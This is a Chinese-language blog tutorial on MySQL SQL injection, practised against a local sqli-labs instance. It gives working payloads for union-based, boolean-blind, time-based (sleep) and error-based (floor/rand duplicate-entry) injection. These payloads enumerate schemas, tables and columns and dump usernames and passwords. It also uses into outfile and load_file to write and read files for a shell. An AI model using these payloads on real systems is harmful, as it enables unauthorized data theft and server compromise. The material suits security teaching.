mysql延时注入_SQL注入的几种形式和理解

各位扥扥早!

好了废话不多说了,如果有用请转发出去。

可关注公众号,明天继续分享SQL注入

SQL注入理解

1. 定义/类型

定义:简单来说,当客户端提交的数据未做处理或转义直接带入数据库就造成了SQL注入。

注入类型分为:
1. 整型(没有单双引号)
2. 字符串(有单双引号)
3. 其他细分的类型本质上就是整型和字符串的区别
2.联合注入
  • 判断整型注入还是字符型注入

    and 1=2 //页面正常-->不是整型注入
    id=1' //加单引号,页面不正常,字符型注入
    --+ 将后面的语句注释掉,页面正常,判断为单引号注入
  • 获取字段总数

    • ‘ order by 3 --+

    • group by 3 //判断字段总数是否>=3

  • union连接查询(字段必须和表格字段总数相符)

    • select * from admin where id=1 union select 1,1,1; //union select 字段,字段,字段

    • select username,password from admin where id=1 union select 1,1; //union前后字段对应

  • 获取数据库信息

    http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
      mysql> select *from admin where username='hello' union select 1,database();
    +----------+----------+
    | username | password |
    +----------+----------+
    | hello | 123 |
    | 1 | sqltest |
    +----------+----------+
    //sqltest为数据库名称
    • 数据库版本version(),查看当前用户user()

    • 爆破数据库名称

  • 爆破数据库表

    http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
    • union select 字段,字段,Table_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1

  • 爆破字段名

    select group_concat(column_name) from information_schema.columns where table_name='users'
select *from admin where 1=1 union select 1,Table_NAME from information_schema.TABLES where TABLE_SCHEMA='sqltest';//信息点:数据库名和数据库中的表名

select COLUMN_NAME from information_schema.COLUMNS where Table_NAME='admin';
//已知表名找字段名
获取字段下一条 limit 1,1

最后已知字段和表名就可以获取内容啦!

but,要是不能输入单引号或者双引号呢?

'admin' ====> 0x61646d696e(ASCIIhex)
3.导出数据库别名拿shell
  • 导出数据库

    select 内容 into outfile '路径';//路径的文件要不存在才能自动创建,路径也可以是网址,比如说phpstudy里的WWW
    select *from admin into outfile 'D:/1.sql';//文件内容是表格的数据
    select 'hello' into outfile 'd:/2.sql';//文件内容就是‘hello’
  • 读文件

    select load_file('e:/1.txt');//注意路径要加引号,文件要具有可读性(即权限)
  • html的锚点

    不能直接使用#注释符,转为html的编码%23;
    不用注释符闭合单引号的话,用 where '1'='1
4.布尔注入

10da7623a018c706242e5325dae38e87.png

select username,password from user where username='1' or 2>1 -- ' and password='123'
分析:username=‘中间的'人为闭合,使得 or 2>1 可以执行’
mysql的注释(很有用):空格--空格 或者 #
  • 不能使用><=,你还会做吗
select username,password from user where username='1' or true;
select username,password from user where username='1' or !false;
mid(str,1,3)字符串截取
ord()转成ascii码
Length()统计字节长度
步骤:(手工注入)
1.获取数据库长度
username=111' or Length(database()) >1 # &password=222;//布尔注入的结果为真假,所以要判断,知道长度后>改为=
2.获取数据库名称
ord(mid(database(),1,1))//对照ascii码表
ord(mid(database(),2,1))
ord(mid(database(),3,1))
...

3.获取表数目
or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=1;
4.获取表名长度
第一个表长:
select length(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
第二个表长:
select length(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1;
5.获取表名
6.获取字段总数
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=
7.获取字段长度
8.获取字段名
9.获取字段内容
10.获取内容长度
select length(concat(username,'-----'password)) from 表名 limit 0,1;
11.获取内容
select concat(username,'-----'password) from 表名 limit 0,1;
5. 延时注入(与布尔类似)
if(条件,true,false)
sleep(5);

获取数据库总数
select count(SCHEMA_NAME) from information_schema.SCHEMATA;
获取数据库名称
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1;
延时注入
sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)>1,0,5));
6.MySQL之bug注入

55fc65ad503542daca1981faf9ebaef4.png

注意:表格的内容要有3条以上才有效

1.爆数据库
select concat(floor(rand(0)*2),'=======',(select database()))as xx, count(1)from admin group by xx;
ERROR 1062 (23000): Duplicate entry '1=======sqltest' for key ''

2.爆表名
select concat(floor(rand(0)*2),'=======',(select (TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))as xx, count(1)from admin group by xx;
ERROR 1062 (23000): Duplicate entry '1=======admin' for key ''

3.爆字段
select concat(floor(rand(0)*2),'=======',(select concat(username,'----',password) from admin limit 0,1)) as xx, count(1)from admin group by xx;
ERROR 1062 (23000): Duplicate entry '1=======bai----123' for key ''

//语法错误什么的错误代码是1064,报错注入的错误代码是1062
由于篇幅问题,可关注公众号,明天继续分享SQL注入

到了演示最后了,不知道是否帮助到各位?

如果扥扥们有什么问题,可以文章留言。

有事留言,无事点赞,有用转发!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值